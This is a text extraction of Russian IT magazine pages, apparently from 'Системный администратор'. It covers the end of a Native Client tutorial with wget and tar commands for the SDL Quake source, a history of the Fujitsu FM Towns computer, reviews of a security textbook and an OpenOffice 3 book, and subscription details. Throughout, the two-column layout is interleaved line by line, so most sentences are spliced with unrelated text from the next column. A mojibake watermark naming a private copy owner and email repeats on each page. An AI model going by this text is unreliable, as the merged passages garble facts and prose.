Возвращаемся в директорию /googleclient/native_client/tests Если все прошло нормально, появятся ещё два фай-
в папку earth/ (см. рис. 6). ла – earth.nexe и earth_release.nexe. Можно опять открыть
Как нетрудно догадаться, сценарий run.py запускает earth.html в браузере, и теперь картинка должна быть сов-
приложение, но нам это совсем не нужно. Вместо этого от- сем другой (см. рис. 4).
./xaos_tool.sh all
wget http://www.libsdl.org/ ↵
projects/quake/src/ ↵
sdlquake-1.0.9.tar.gz
...
wget http://www.libsdl.org/ ↵
projects/quake/data/ ↵
quakesw-1.0.6.tar.gz
...
Теперь их разархивируем:
tar -x --strip-components=1 ↵
-f sdlquake-1.0.9.tar.gz
...
tar -x -f quakesw-1.0.6.tar.gz
...
84
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
сисадмин тоже человек
Дмитрий Мороз
Персональный компьютер на базе нового процессора 80386 компании Intel в 1990 году
был явлением обыденным. А что если кроме него система могла похвастать приводом
CD‑ROM, графическими режимами с большим разрешением и одновременным отображением
десятков тысяч цветов, высококачественным звуком, операционной системой с графическим
пользовательским интерфейсом, загружавшейся с компакт-диска? Фантастика? Нет, имя
этому компьютеру – Fujitsu FM Towns.
86
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
ретроспектива
С
редства мультимедиа, получив- поддерживающей иероглифы. Слу-
шие широкое распространение чилось это в 1982 году, когда на при-
в персональных компьютерах лавках магазинов появилась модель
в середине 90-х годов прошлого ве- PC-9801.
ка, своим появлением во многом обя- Руководство NEC быстро осозна-
заны японской индустрии. Предприя- ло, что главным двигателем продаж
тия Страны восходящего солнца ещё на рынке персональных компьютеров
десять лет назад начали поставлять являются совместимость и програм-
на внутренний рынок системы с бо- мное обеспечение. Чем больше про-
гатыми возможностями по отображе- грамм создаётся под платформу, тем
нию графики и воспроизведению зву- более привлекательной она стано-
ка. Впрочем, изначально с конвейеров вится для потенциального покупате-
сходили всё те же «безликие» ПК. ля. А с ростом количества пользова-
Когда в 1981 году компания IBM вы- телей всё больше компаний решается
пустила свой первый персональный писать программы для неё.
компьютер, он сразу получил широкое NEC начала сотрудничать с разра-
распространение на столах офисных ботчиками ПО с целью предоставить
сотрудников и их начальников. Одна- им новейшие образцы аппаратного
ко популярность IBM PC была не без- обеспечения, техническую докумен-
граничной: на том же рынке Японии эта тацию, помощь в решении возникших
архитектура не прижилась. проблем и т. д.
Sharp X68000 – один из главных
Главная проблема заключалась Как итог – PC-9801 на многие го- конкурентов FM Towns на рынке
в японском языке, использовавшем ки- ды стал наиболее популярным персо-
тайские иероглифы (Кандзи): для отоб- нальным компьютером на рынке Япо- модификации). Графические и звуко-
ражения каждого из них на компьютер- нии. Он был построен на базе процес- вые возможности X68000 были очень
ном мониторе требовалась площадь, сора Intel 8086, обладал 128 Кб опера- похожими на применявшиеся в аркад-
в среднем 16х16 пикселей. Стандарт тивной памяти с возможностью расши- ных игровых автоматах того времени,
CGA (640х200), применявшийся в IBM рения до 640 Кб, поддержкой уже упо- благодаря чему разработчики игр мог-
PC XT, был слишком «беден» для отоб- минавшегося ранее графического ре- ли без особого труда переносить свои
ражения текста на японском языке, жима 640х400 пикселей c возможно- продукты на этот компьютер.
вследствие чего производители ком- стью выводить 16 цветов из палитры X68000 считалась идеальной раз-
пьютерных систем Японии разраба- в 4096 оттенков одновременно, а также влекательной системой, пока в 1989 го-
тывали собственные графические ре- 3-канальным синтезатором FM-звука. ду компания Fujitsu не представила
жимы и адаптеры, обеспечивавшие Несмотря на изначальную ориен- свой ответ NEC и Sharp. Вышедший
вдвое большее по вертикали разре- тацию PC-9801 на бизнес-сектор, раз- на рынок Японии в феврале FM Towns
шение 640х400 пикселей. работчики ПО в краткие сроки созда- по праву считается первым мульти-
В 1982 году компания NEC, наблю- ли тысячи игр для этого компьютера, медийным персональным компьюте-
дая за успехами персональных ком- что позволило ему получить статус са- ром в мире.
пьютеров на рынках США и Европы, мой распространённой компьютерной Поскольку все компьютеры компа-
первой решила перенять опыт запад- игровой платформы в стране. нии в то время получали свои кодовые
ных коллег. Глава отделения компа- Однако конкуренты NEC не собира- имена в честь лауреатов Нобелевской
нии по разработке персональных ком- лись сидеть сложа руки и также пош- премии, FM Towns своим названием
пьютеров Юкио Мизуно (Yukio Mizuno) ли по её пути. К середине 80‑х годов был обязан физику Чарльзу Харду Та-
обратился к компании Microsoft с це- Microsoft, осознав потенциал своей унсу (Charles Hard Townes), получивше-
лью уговорить её разработать версию операционной системы на рынке Япо- му её в 1964 году. FM же расшифровы-
операционной системы MS-DOS для нии, самостоятельно взялась за со- валось как «Fujitsu Micro».
японского рынка, поддерживавшую вершенствование японской версии
иероглифы. MS‑DOS, продавая её уже не только «Возможности
Однако Билл Гейтс (Bill Gates) от- NEC, но и другим производителям ком- безграничны»
ветил отказом из-за желания вначале пьютеров в этой стране. Данный подзаголовок является офи-
закрепиться на рынке США. Впрочем, В марте 1987 года компания Sharp циальным слоганом компании Fujitsu
Мизуно уехал домой не с пустыми ру- предоставила свой компьютер X68000, и вынесен он мной неспроста. Не-
ками – Microsoft снабдила его всем не- ориентированный на домашнее ис- смотря на то что FM Towns относился
обходимым программным обеспече- пользование. Модель обладала весь- к разряду персональных компьютеров,
нием для самостоятельной доработ- ма продвинутыми аппаратными харак- по своим характеристикам и возмож-
ки MS‑DOS. В итоге NEC стала пер- теристиками: процессором Motorola
вой компанией на рынке Страны вос- 68000, работавшим на частоте 10 МГц,
ходящего солнца, выпустив компью- 1 Мб ОЗУ, возможностью подключе-
тер с операционной системой Microsoft, ния жёсткого диска (более поздние Логотип FM Towns
ностям он опережал практически все жимом 640х480 пикселей и отображе- TownsOS, которая загружалась с ком-
существовавшие на то время систе- нием 16 цветов, что позволяло компью- пакт-диска.
мы. Сразу стоит отметить, что, несмот- теру выводить одновременно не толь- Стоит также отметить, что Fujitsu
ря на использующийся процессор i386, ко многоцветную графику с низким позволяла сторонним компаниям-раз-
а также возможность работы под уп- разрешением, но и иероглифический работчикам ПО за минимальное де-
равлением MS-DOS, FM Towns не был текст в высоком разрешении. Система нежное отчисление записывать ба-
аппаратно совместим с IBM PC, во вся- была способна отображать одновре- зовые компоненты TownsOS на свои
ком случае на первых порах. менно до 1024 спрайтов с разрешени- компакт-диски. В результате програм-
Дабы не изобретать велосипед, ем 16х16 пикселей каждый. Функции мное обеспечение могло быть запуще-
в качестве основы при проектиро- увеличения и вращения экрана были но на компьютере без необходимости
вании нового компьютера инженеры реализованы на аппаратном уровне первоначальной загрузки всей опера-
Fujitsu воспользовались архитекту- и выполнялись при помощи одной ко- ционной системы целиком. То же са-
рой компьютера FM R-50, выпущен- манды. Текст, спрайты и графика име- мое касалось и игр – пользователи FM
ного в 1986 году и ориентированного ли собственное видео-ОЗУ общим объ- Towns могли играть в них без каких-ли-
на бизнес-рынок. От него FM Towns ёмом 640 Кб, благодаря чему могли вы- бо загрузочных дискет и даже без жёс-
унаследовал базовую функциональ- водиться на экран одновременно. ткого диска.
ность: процессор i386 с частотой За аудиочасть компьютера отвеча- Что же касается совместимос-
16 МГц, возможность установки допол- ли две отдельные микросхемы: Ricoh ти с программным обеспечением
нительного сопроцессора i387, 1 Мб RF5C68 обеспечивал воспроизведе- для платформы IBM PC, она была до-
оперативной памяти, расширяемой ние 8-канального PCM-звука, тогда как стигнута за счёт использования специ-
до 64 Мб, порт SCSI для подключения Yamaha YM-2612 отвечала за 6-каналь- альной версии MS-DOS, а также рас-
жёстких дисков и другой периферии, ный FM-синтез музыки. Встроенная ширителя DOS Extender компании Phar
один или два 3,5-дюймовых флоппи- функция караоке позволяла при помо- Lap с возможностью адресации более
дисковода. Что же касается возмож- щи поставлявшегося в комплекте про- 1 Мб оперативной памяти.
ностей по обработке графики и звука, граммного обеспечения накладывать Картину совершенства FM Towns
они достались ему от ещё одной сис- на голос поющего различные эффек- довершал тёмно-серый корпус весь-
темы, FM77AV, однако были значитель- ты, например, эхо. ма нестандартной внешности. Боль-
но расширены. Но самое главное новшество за- шую часть его передней панели зани-
Компьютер обладал множеством ключалось в оснащении FM Towns мал привод CD-ROM с вертикальной
графических режимов: при разреше- приводом для чтения дисков CD-ROM загрузкой, флоппи-дисководы, диск-
нии 640х480 пикселей он мог выводить объёмом 540 Мб, в результате чего ретный регулятор громкости со свето-
одновременно 256 цветов из палит- этот компьютер стал первым ПК в ми- диодной полосой индикации её уров-
ры в 16 миллионов оттенков. При по- ре, использующим компакт-диски в ка- ня, разъёмы для микрофона, наушни-
нижении разрешения до 330х480 пик- честве источника данных. А благода- ков, а также клавиатуры, мыши и гейм-
селей на экран одновременно выводи- ря поддержке стандарта Red Book ком- пада.
лось до 32768 цветов. Но это ещё не пьютер Fujitsu без проблем проигры- Всё в FM Towns говорило о превос-
всё: графический чип FM Towns обла- вал аудио-CD. ходстве компьютера над всеми конку-
дал возможностью смешивать различ- Специально для FM Towns была рирующими персональными компью-
ные видеорежимы. Например, режим создана своя 32-разрядная операци- терами того времени. Однако за по-
320х240 пикселей с выводом 32 тысяч онная система с графическим интер- добное аппаратно-программное со-
цветов мог быть смешан с другим ре- фейсом пользователя под названием вершенство покупателю приходилось
88
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
ретроспектива
выложить немалую сумму – от 2600
до 3100 долларов, и это без учёта сто- Всё и даже больше пании Naviken, благодаря чему пользова-
имости монитора, клавиатуры и мыши. Наиболее редкой диковинкой во всём се- тель мог разъезжать по улицам японских
Цена компьютера, предназначенного, мействе компьютеров и игровых консолей мегаполисов без риска потеряться. Вместо
в первую очередь для домашних раз- под единым названием FM Towns, без сом- встроенного флоппи-дисковода у Car Marty
влечений, довольно-таки «кусалась». нения, является FM Car Marty. Данная кон- был специальный слот для карт GPS, на ко-
Ещё во время выхода FM Towns соль отличалась от обычной Marty не толь- торых содержалась картографическая ин-
в свет Fujitsu объявила о намерении ко внешним видом, но и дополнительными формация того или иного региона. В ос-
продать в течение года 100 тысяч сис- возможностями. В комплекте с устройс- тальном эта консоль представляла собой
тем. Однако планам компании не суж- твом поставлялся GPS-приёмник, а также обыкновенную FM Towns Marty.
дено было сбыться. программное обеспечение Navisoft ком-
Спустя тот самый год с хвостиком
после начала продаж в мае 1990 года выпустила в феврале 1993 года игро- писанного для FM Towns. Кстати, па-
FM Towns объявила о продаже всего вую консоль FM Towns Marty, ориенти- ру слов о нём.
35 тысяч систем, что было ничтожно рованную в отличие от персонального На первых порах после старта про-
малой цифрой. Впрочем, с появлени- компьютера исключительно на исполь- даж компьютера в 1989 году лавино-
ем новых компьютеров семейства, ос- зование в домашних условиях для раз- образного появления нового ПО, ко-
нащённых более быстродействующи- влекательных целей. Несмотря на не- нечно же, не последовало. Сперва
ми процессорами, которые, по словам большие размеры, внутри у Marty бы- это были продукты, переносившиеся
Fujitsu, были ориентированы на биз- ла спрятана «начинка» от полноцен- из других платформ, однако со време-
нес-сектор и создание мультимедий- ного FM Towns: тот же процессор 386 нем TownsOS обзавелась собственны-
ного контента, продажи несколько воз- (правда, производства AMD), работаю- ми программами: текстовыми процес-
росли и к июлю 1991 года составили щий на частоте 16 МГц, 2 Мб оператив- сорами, графическими редакторами,
130 тысяч ПК. ной памяти, односкоростной привод средствами для работы со звуком, ви-
К 1992 году положение NEC на рын- CD-ROM, а также флоппи-дисковод. део, программами для создания насы-
ке персональных компьютеров не из- Последний предназначался не только щенных мультимедийным контентом
менилось – компания со своей линей- для загрузки программ, но и в качест- презентаций, а также различными ин-
кой PC-9801 продолжала удерживать ве средства для сохранения пользо- терактивными учебниками по языкам,
около 60% рынка. В то же время на до- вателем результатов прохождения игр. музыке, дисциплинам школьной про-
лю Fujitsu припадало всего 6% от «уве- Наконец, на боковые панели консо- граммы и прочим.
систого» японского парка ПК. Компа- ли были вынесены два порта для под- Однако если с ПО для продуктив-
ния боролась изо всех сил, пытаясь ключения игровых джойстиков, а так- ной работы ситуация была ещё более
хоть как-то «выбить» FM Towns «мес- же разъём для клавиатуры. В качестве или менее сносной, то об играх это-
то под солнцем». устройства отображения использовал- го сказать было нельзя. Первая волна
ся обычный телевизор, соединявший- игровых новинок для FM Towns также
Младший брат ся с Marty посредством композитного перекочевала из других компьютер-
Желая снизить стоимость FM Towns, либо же S-video разъёмов. ных платформ, в основном – с уже упо-
тем самым сделав её более доступ- Консоль работала под управле- минавшихся PC-9801 и X68000. Лишь
ной для потенциальных покупателей, нием TownsOS и была обратно сов- со временем начали появляться игры,
а также привлекательной для разра- местима с подавляющим большинс- на полную мощность использующие
ботчиков игровых приложений, Fujitsu твом программного обеспечения, на- возможности FM Towns.
90
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
ретроспектива
ря поддержке новыми стандартами с DOS/V, вследствие чего на компью- пьютеров достигла 18,2%, в результа-
мониторов и графических адаптеров тер могла быть установлена не только те чего она вновь заняла вторую строч-
IBM PC‑совместимых компьютеров, DOS производства IBM или Microsoft, ку списка крупнейших поставщиков ПК
начиная с EGA, динамической загруз- но и Windows 3.x. FM Towns II выпуска- в Японии, отодвинув на третье место
ки декодеров для знакового режима. лись не только в стандартных корпусах Apple и приблизившись к NEC.
Отныне производителям компьютеров типа «башня» с вертикальным приво- Выпуск персональных компьюте-
Страны восходящего солнца не прихо- дом компакт-дисков, но и в настоль- ров под маркой FM Towns продолжал-
дилось заниматься созданием собст- ных корпусах, а также в моноблочном ся до лета 1997 года, когда на свет поя-
венных библиотек иероглифов, запи- варианте со встроенным в корпус мо- вилась последняя модель, оснащённая
сывать их в специальные ПЗУ и уста- нитором. процессором Intel Pentium MMX с час-
навливать дополнительные микросхе- Первые модели второго поколе- тотой 200 МГц. Спустя некоторое время
мы в компьютеры, а затем пытаться за- ния стали «лебединой песней» ориги- Fujitsu свернула создание собственных
ставить работать это в тандеме с опе- нальной архитектуры FM Towns. В пос- ПК и переориентировала своё произ-
рационной системой. ледующих моделях Fujitsu приняла ре- водство на выпуск ноутбуков под тор-
Согласно DOS/V операционная сис- шение полностью отказаться от собст- говой маркой Lifebook, а также различ-
тема PC-DOS работала на IBM PC‑сов- венных разработок, в результате чего ной цифровой техники. Новое компью-
местимых компьютерах, вследствие платформа лишилась своих графичес- терное подразделение под названием
чего японским производителям боль- ких и аудиочипов, обзаведясь взамен Fujitsu Siemens Computers, сформиро-
ше не было нужды поддерживать свои стандартными для персональных ком- ванное в 1999 году совместно с не-
закрытые архитектуры. Стандартиза- пьютеров того времени шинами VLB мецкой компанией Siemens AG, да-
ция, начавшаяся в Америке ещё в на- и EISA для подключения плат сторон- ло жизнь десяткам новых персональ-
чале 80-х годов, наконец докатилась них разработчиков. ных компьютеров и ноутбуков, одна-
и до Японии. Компания также начала прово- ко название FM Towns больше ни ра-
Fujitsu наряду с остальными ком- дить активное снижение себестои- зу не всплывало в продуктовой линей-
паниями приняла решение использо- мости производства своих компьюте- ке компании.
вать при производстве своих FM Towns ров. Вместо покупки необходимых ком- Как говорил японский инвестор
компоненты IBM PC-совместимых ПК. понентов у японских производителей Джои Ито, неизвестно, что бы собой
В результате её собственные компью- Fujitsu обратила свой взор на Юго‑Вос- представляла современная индус-
теры лишились всего того, что дела- точную Азию, где их стоимость была трия ПК, сумей Fujitsu вывести FM
ло их столь уникальными и неповто- на 20-30% ниже. Производство аппа- Towns за пределы Японии, тем самым
римыми. ратной части базировалось в Таилан- начав популяризацию мультимедиа
В ноябре 1993 года Fujitsu объяви- де, а финальная сборка перекочевала в персональных компьютерах задолго
ла о выходе в свет второго поколения на Тайвань. В течение короткого сро- до её официальных «пионеров».
FM Towns. Новые модели компьютера ка в компьютерных системах Fujitsu ос-
оснащались процессором i486 с часто- талось менее 10% японских компонен- 1. http://www.wikipedia.org.
той 25-66 МГц, 2-скоростным приводом тов. Наконец, компания вложила сотни 2. http://www.fujitsu.com.
CD-ROM, а старшие модели ещё и ком- миллионов долларов в рекламную кам- 3. http://www.japaninc.com.
плектовались мониторами с разреше- панию, а также в создание новых ка- 4. http://museum.ipsj.or.jp.
нием 1024х768 и поддержкой 16,7 мил- налов для дистрибуции. 5. http://www.old-computers.com.
лиона цветов. Ну и, наконец, наиболее В результате к 1995 году доля 6. http://assembler.roarvgm.com.
важное новшество – совместимость Fujitsu на рынке персональных ком- 7. http://www.toseciso.org.
Информационная безопасность
открытых систем. В двух томах.
Том 2. Средства защиты в сетях
Сергей Запечников, Наталья Милославская,
Александр Толстой, Дмитрий Ушаков
и примерами конкретных решений кон- то сбивает с толку. С точки зрения об-
кретных вендоров. И даже не до уровня щесистемного подхода ценность такого
модельных рядов и линеек продуктов, изложения для меня малопонятна.
а вплоть до подверсий, чей жизненный Что действительно превращает
цикл весьма короток. В целом учебник данное издание в нечто большее, чем
напоминает лоскутное одеяло с глава- сборник описаний технологий и реше-
ми разной степени полезности. ний поставщиков коммерческих IT-ре-
Знать студенту о том, что компа- шений, – это привязка к российской
ния «Cisco включила в ОС IOS 11.3 под- нормативной базе и законодательству,
держку протоколов L2TP и IPSec [начи- чего, безусловно, не найдешь на сай-
Как следует из предисловия, книга ная с версии IOS 11.3(3)]» наверное по- тах международных компаний, работа-
предназначена для студентов высших лезно… Но зачем тонны подобной ин- ющих на множестве рынков.
учебных заведений и слушателей кур- формации включать в учебник, кото-
сов повышения квалификации, обуча- рый должен давать фундаментальную n Издательство: «Горячая линия-Телеком»
ющихся по специальности «комплекс- подготовку, непонятно. В большинстве n Год издания: 2008
ное обеспечение информационной бе- своем для понимания глав-лоскутиков n Количество страниц: 560
зопасности автоматизированных сис- требуются глубокие знания технологий n ISBN: 978-5-9912-0034-9
тем». От книги остается скорее ощу- конкретного вендора. Перегруженность n Цена: ≈ 555 руб.
щение справочника, чем учебника. текста названиями закрытых техноло- Книга предоставлена издательством «Горя-
Причем перегруженного названиями гий конкретных производителей прос- чая линия-Телеком».
92
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
книжная полка
Beginning OpenOffice 3:
From Novice to Professional
Andy Channelle
новных инструментов, входящих в па- вается опыт работы автора со многи-
кет: Writer, Calc, Presentations, Base и ми компьютерными изданиями. Оте-
Draw. Вторая часть повествует о сов- чественный читатель мог быть зна-
местном использовании инструмен- ком с автором по переводным стать-
тов и различных специфических при- ям в Linux Format.
емах и трюках. В книге рассказывает- К недостаткам с точки зрения не-
ся о том, как использовать этот мощ- англоязычного читателя стоит отнес-
ный пакет в различных операционных ти отсутствие материала по локали-
системах, включая Windows, Linux и зации и интернационализации. В част-
OS X. Достаточный объем уделен ра- ности, о работе со словарями и провер-
боте с различными форматами фай- кой орфографии.
лов, включая форматы Microsoft Office,
Как следует из названия, книга, вышед- PDF, и работе с веб-приложениями n Издательство: Apress
шая в популярной серии «Beginning…», GoogleOffice docs. n Год издания: 2008
посвящена последней версии кросс- Книга снабжена многочисленными n Количество страниц: 488
платформенного офисного пакета про- иллюстрациями. Текст воспринимает- n ISBN: 978-1-4302-1590-5
грамм OpenOffice 3.0. Издание состоит ся достаточно легко, вероятно, сказы- n Цена: ≈ $30.39
из двух частей. В первой части описы-
вается использование каждого из ос- Обзор книжных новинок подготовил Андрей Маркелов
Редакционная подписка
для физических лиц
n Вы можете оформить подписку n Журнал высылается почтой заказ-
только на российский адрес. ной бандеролью только после пос-
n При заполнении квитанции обя‑ тупления денег на расчетный счет
зательно РАЗБОРЧИВО укажи‑ и копии заполненного и оплачен‑
те фамилию, имя, отчество пол‑ ного бланка, отправленной в ре‑
ностью, почтовый индекс и ад‑ дакцию по факсу: (495) 628‑82‑53
рес получателя (область, город, (доб. 120) или на электронный
улица, номер дома, номер квар‑ адрес: subscribe@samag.ru.
тиры), контактный телефон.
ɏ ɏ ɏ ɏ ɏ ɏ ɏ ɏ ɏ ɏ ɏ ɏ
ɏ ɏ ɏ ɏ ɏ ɏ ɏ ɏ ɏ ɏ ɏ ɏ
94
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
подписка на 2009 год
Российская Федерация печати «Гасид» (370102, г. Баку, ул. Джавадхана, 21)
n
Подписной индекс: годовой – 20780, полугодовой – 81655 n
Казахстан – по каталогу «Российская Пресса» через
Каталог агентства «Роспечать» ОАО «Казпочта» и ЗАО «Евразия пресс»
n Подписной индекс: годовой – 88099, полугодовой – 87836 n
Беларусь – по каталогу изданий стран СНГ через РГО
Объединенный каталог «Пресса России» «Белпочта» (220050, г. Минск, пр-т Ф. Скорины, 10)
Адресный каталог «Подписка за рабочим столом» n
Узбекистан – по каталогу «Davriy nashrlar» российс-
Адресный каталог «Библиотечный каталог» кие издания через агентство по распространению пе-
n Альтернативные подписные агентства: чати «Davriy nashrlar» (7000029, г. Ташкент, пл. Муста-
Агентство «Интер-Почта» (495) 500-00-60, курьерская киллик, 5/3, офис 33)
доставка по Москве n Армения – по списку номенклатуры «АРЗИ» через
Агентство «Вся Пресса» (495) 787-34-47 ГЗАО «Армпечать» (375005, г. Ереван, пл. Сасунци Да-
Агентство «Курьер-Прессервис» вида, д. 2) и ЗАО «Контакт-Мамул» (375002, г. Ереван,
Агентство «ООО Урал-Пресс» (343) 375-62-74 ул. Сарьяна, 22)
ЛинуксЦентр www.linuxcenter.ru n Грузия – по списку номенклатуры «АРЗИ» через АО
n Подписка On-line «Сакпресса» ( 380019, г. Тбилиси, ул. Хошараульская, 29)
http://www.arzi.ru и АО «Мацне» (380060, г. Тбилиси, пр-т Гамсахурдия, 42)
http://www.gazety.ru n Молдавия – по каталогу через ГП «Пошта Молдовей»
http://www.presscafe.ru (МД-2012, г. Кишинев, бул. Штефан чел Маре, 134)
по списку через ГУП «Почта Приднестровья» (МD-3300,
СНГ г. Тирасполь, ул. Ленина, 17)
В странах СНГ подписка принимается в почтовых отделе- по прайс-листу через ООО Агентство «Editil Periodice»
ниях по национальным каталогам или по списку номенк- (МД-2012, г. Кишинев, бул. Штефан чел Маре, 134)
латуры «АРЗИ»: n Подписка для Украины:
n Азербайджан – по объединенному каталогу россий- Киевский главпочтамт
ских изданий через предприятие по распространению Подписное агентство «KSS», тел./факс (044)464-0220
Подписные
индексы:
20780 *
+ диск с архивом
статей 2008 года
81655 **
без диска
по каталогу агентства
«Роспечать»
88099 *
+ диск с архивом
статей 2008 года
87836
без диска
**
по каталогу агентства
«Пресса России»
*
Годовой
**
Полугодовой
***
Диск вкладывается
в февральский
номер журнала,
распространяется
только на территории
России
УЧРЕДИТЕЛИ
Частные лица
РЕДАКЦИЯ
Генеральный директор
Владимир Положевец
Ответственный секретарь
Наталья Хвостова
sekretar@samag.ru
Технический редактор
Владимир Лукин
Главный редактор
электронного приложения Вы знаете, как бороться
«Open Source» с «Просачивающейся А дварью»?
Дмитрий Шурупов
osa@samag.ru
Применяете «Чарующий скрипт»?
ИЗДАТЕЛЬ
ООО «С 13»
Отпечатано типографией
ООО «Периодика»
Тираж 17000 экз.
Тираж электронной версии 62000 экз.
96
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru